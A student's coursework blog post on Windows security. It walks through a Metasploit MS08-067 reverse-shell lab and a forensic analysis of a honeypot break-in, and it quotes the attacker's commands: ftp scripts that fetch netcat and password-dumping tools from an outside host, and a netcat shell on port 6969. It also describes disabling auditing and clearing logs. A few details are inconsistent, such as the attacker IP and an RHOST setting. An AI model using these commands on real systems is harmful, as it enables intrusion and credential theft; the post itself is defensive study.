20212820 2021-2022-2 《网络攻防实践》第六周作业

 1.实践内容

(1) Windows操作系统基本框架

如图所示,分为运行于处理特权模式的操作系统内核,以及非特权模式的用户空间代码

内核的基本模块包括: Windows执行体;Windows内核体;设备驱动程序;硬件抽象层;Windows窗口与图形界面接口内核实现代码;环境子系统服务进程;服务进程;用户应用软件;核心子系统DDL;Windows进程和线程管理机制;Windows内存管理机制;Windows文件管理机制;Windows注册表管理机制;Windows网络机制。

Windows网络机制如下图所示,网络组件基本模块包括:

  • 各种网卡硬件的设备驱动程序。
  • NDIS库和miniport驱动程序。
  • TDI传输层(网络协议驱动)。
  • 网络API、DLL和TDL的客户端。
  • 网络应用程序与服务进程。

 (2)Windows操作系统的安全体系结构与机制

Windows安全体系结构:  Windows操作系统引用监控器模型来实现基本的对象安全模型,如图所示,所有的主体对客体的访问都是通过引用监控器作为中介。

Windows系统安全体系结构如下图所示:

Windows身份认证机制:对于试图使用Windows系统的用户与远程计算机安全主体,Windows通过秘密信息(保存的口令字、登记的指纹等)来验证安全主体的真实合法身份。网络身份认证过程由LSASS服务的Netlogon模块主导完成。客户端会与服务器端进行“质询-应答式”的身份验证协议。

Windows授权与访问控制机制:在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌,令牌中包括用户本身的SID、用户组SID和特权列表。Windows中可使用whoami来查看当前用户令牌信息。

 

 

 安全审计机制:系统审计策略在本地策略中由管理员定义,来确定哪些事件进行记录。也可作为第三方审计日志分析工具的输入数据源。

(3)Windows远程安全攻防技术

远程攻击可分为如下几类:远程口令猜测与破解攻击;攻击Windows网络服务;攻击Windows客户端及用户。

系统的安全漏洞:互联网用户所面临的安全威胁中,绝大部分是由于未能及时修补已公开的漏洞,所导致的渗透攻击和恶意代码的传播。渗透攻击包括:漏洞扫描测试—>查找渗透代码—>实施渗透攻击。

  • Metasploit软件主要命令
命令
主要描述
?/help
显示命令帮助
cd
改变当前工作目录路径
connect
集成netcat的功能,可测试网络
check
部分渗透模块所支持的目标系统是否存在相应漏洞。
exploit
实施渗透攻击
quit
退出终端
Search
查找特定模块
Show
查找每种模块的详细配置参数
set/unset
查找每种模块的详细配置参数
Use
选择使用特定的exploit、playload、encoder模块

 

远程口令猜测与破解攻击

  • SMB(基于服务消息块)协议可以为网络用户提供远程访问文件系统与打印机支持,通常运行于TCP445与TCP139端口。远程桌面终端服务运行于TCP3389端口,只提供图形化的用户口令登录接口,因此破解更困难一些。
  • 防范措施:尽量关闭不必要的开放的、易受网络攻击的网络服务;配置主机防火墙来限制网络端口的服务;对于安全级别较高的服务器,管理员可以制定强口令策略。

远程渗透攻击防范措施:

  应该尽可能快的更新软件的补丁;对安全漏洞被公布的这段时间,应暂时禁用存在网络服务的访问,来避免被攻击。通过漏洞扫描软件对已知的漏洞及时修补。

(4) Windows本地安全攻防技术

windows本地特权提升

  • 攻击者获得系统上受限用户权限后,就会着眼于获得终极特权,主要途径有DDL注入和破解本地程序漏洞。

Windows敏感信息窃取

  • 获得administrator权限后,攻击者将继续收集敏感信息(各种口令字)。

Windows消踪灭迹

  • 攻击者可利用auditpol程序关闭审计功能,使用“enable”参数重启审计功能,就可以不留痕迹地退出系统。
  • 攻击者获得Administrator权限后就可打开Event Log事件查看器来删除主机上的所有日志。
  • 防范措施:可将日志记录上传到安全的日志服务器中;也可采用定期备份的方式来固话保存。

远程控制和后门程序

  • 攻击者为了确保以后能方便登录系统,会在系统中建立远程控制和后门程序。
  • 常用的远程控制程序有Netcat、Metasploit和图形化远程控制程序。
  • 防范措施:采用后门检测软件来发现隐藏的后门程序。

2.实践过程

(1)动手实践Metasploit windows attacker
  • 任务:使用metasploit软件进行windows远程渗透统计实验
  • 具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

kali IP 192.168.200.4

win2k IP  192.168.200.124

i.在kali中输入msfconsole启动msfconsole软件。

ii.输入search ms08_067查看漏洞模块信息。发现路径是exploit/windows/smb/ms08_067_netapi。

iii.进入漏洞所在文件,输入命令:use windows/smb/ms08_067_netapi

iv.输入命令使用show options查看攻击此漏洞需要的设置

v. 使用show payload查看载荷信息

vi.选择第三个载荷进行攻击,输入命令 使用set payload generic/shell_reverse_tcp查看载荷信息

输入命令 使用set RHOST 192.168.200.124设置要攻击主机

输入命令 使用set RHOST 192.168.200.4设置要本机

vii.输入命令 使用exploit进行攻击,出现会话连接则攻击成功

 这一步我失败了很多次,更改了网络适配器后,把攻击机和靶机IP有弄反了,仔细检查后,成功了。

viii.回车即可进入到受害靶机的shell,输入命令行ipconfig/all查看靶机的IP,攻击成功

viiii.打开wireshark,抓包可见,源地址为192.168.200.4 源端口为4444 目的地址为192.168.200.124 目的端口为1024 攻击发起时间从ARP协议的询问开始

从wireshark抓包中可见,攻击利用的漏洞有针对SMB网络服务的漏洞,DCERPC解析器拒绝服务漏洞,SPOOLSS打印服务假冒漏洞。

至此该实践完成。

(2)取证分析实践:解码一次成功的NT系统破解攻击。

  • 来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
    • 攻击者使用了什么破解工具进行攻击
    • 攻击者如何使用这个破解工具进入并控制了系统
    • 攻击者获得系统访问权限后做了什么
    • 我们如何防止这样的攻击
    • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

1.使用的破解工具

i.首先用wireshark打开所给的攻击文件,根据题目输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106筛选一下有这两个IP地址的信息,发现攻击机建立连接后进行HTTP访问。

ii.然后打开117这一行,发现攻击者打开了系统启动文件"boot.ini",这里有%C0%AF字符,%C0%AF为/的Unicode编码,这里是Unicode编码攻击。

iii.在第130行、140行,我们可以看到有msadc和msadcs.dll文件,这是一个探测过程,是远程数据访问服务的文件,然后追踪149行的TCP数据流,经查询发现进行了SQL注入攻击,执行shell脚本数据为shell ( “cmd /c echo werd >> c : \ f u n ” ),根据ADM!ROX!YOUR!WORLD特征字符串,表明是msadc(2).pl工具发起的渗透攻击。

攻击机使用的攻击工具是msadc.pl。

2.攻击机如何进入系统?

i.接下来把追踪到的http数据流中的重要数据并整理如下:

SESSION:1778-80"cmd /c echo user johna2k > ftpcom"
SESSION:1780-80"cmd /c echo hacker2000 >> ftpcom"
SESSION:1782-80"cmd /c echo get samdump.dll >> ftpcom"
SESSION:1784-80"cmd /c echo get pdump.exe >> ftpcom"```SESSION:1786-80"cmd /c echo get nc.exe >> ftpcom"SESSION:1789-80"cmd /c echo quit >> ftpcom"SESSION:1791-80"cmd /c ftp -s:ftpcom -n www.nether.net"```

ii.在Wireshark中输入ftp进行筛选,发现1106行的ftp连接成功,然后再看一下连接成功之前的指令,可以找到下面一些指令。

SESSION:1874-80copy C:\winnt\system32\cmd.exe cmd1.exe

SESSION:1875-80cmd1.exe /c open 213.116.251.162 >ftpcom"
SESSION:1876-80cmd1.exe /c echo johna2k >>ftpcom
c echo haxedj00 >>ftpcom
c echo get nc.exe >>ftpcom
c echo get pdump.exe >>ftpcom
c echo get samdump.dll >>ftpcom
c echo quit >>ftpcom

iii.ftp连接结束后,执行指令c nc -l -p 6969 -e cmd1.exe,表示攻击者连接6969端口,获得了系统的访问权。

3.攻击者获得访问权限后做了什么?

i.在Wireshark中输入tcp.port == 6969,追踪tcp流;要从注册表中提取密文,但没有成功。运行net session,访问受限,执行net users,返回主机用户列表

ii.然后攻击者通过net group,net localgroup分别查看组用户、本地组用户,并查看net group domain admins,但都没有成功。

iii.继续看此TCP流可以发现,攻击者想寻找并进入msadc目录,执行pdump,但是没有破解出口令密文。

iv.删除了samdump.dll和pdump.exe文件。

v.执行rdisk尝试获得SAM口令文件的拷贝,将SAM文件保存为c:\har.txt文件。

4.如何防止这样的攻击

  • 通过移除或删除系统内/msadc目录,同时移除C:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC2.1SP2补丁(下载网址为http://www.microsoft.com/data/download.htm),并注意及时上网更新。
  • 为这些漏洞打补丁;禁用用不到的RDS等服务;防火墙封禁网络内部服务器发起的连接
  • 使用IIS Lackdown和URLScan等工具加强web server

5.攻击者是否警觉攻击了蜜罐主机?

攻击者警觉到了这是一个蜜罐主机,因为有这样一条指令。

(3)团队对抗实践:windows系统远程渗透攻击和分析。

  • 攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
  • 防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

攻击过程与实践一相同,开始exploit攻击后进入wireshark进行监听。

从抓包中可得到如下分析和结果:

攻击机IP地址192.168.200.4;目标地址192.168.200.6;
源端口45613;目标端口445;

攻击发起时间:从ARP协议的询问开始

3.学习中遇到的问题及解决

问题1:实验一在执行exploit后失败

问题1解决方案:更改了网络适配器,发现之前错误时候联网失败,再次失败,检查发现IP地址输入错误,主要是错在马虎。

4.实践总结

  一步一步的学习中,越发感觉网络攻防需要学习的东西真的很多很多,只要努力不放弃,总是能克服一个又一个的难题!

posted @ 2022-04-22 13:31  JIDIAN  阅读(191)  评论(0编辑  收藏  举报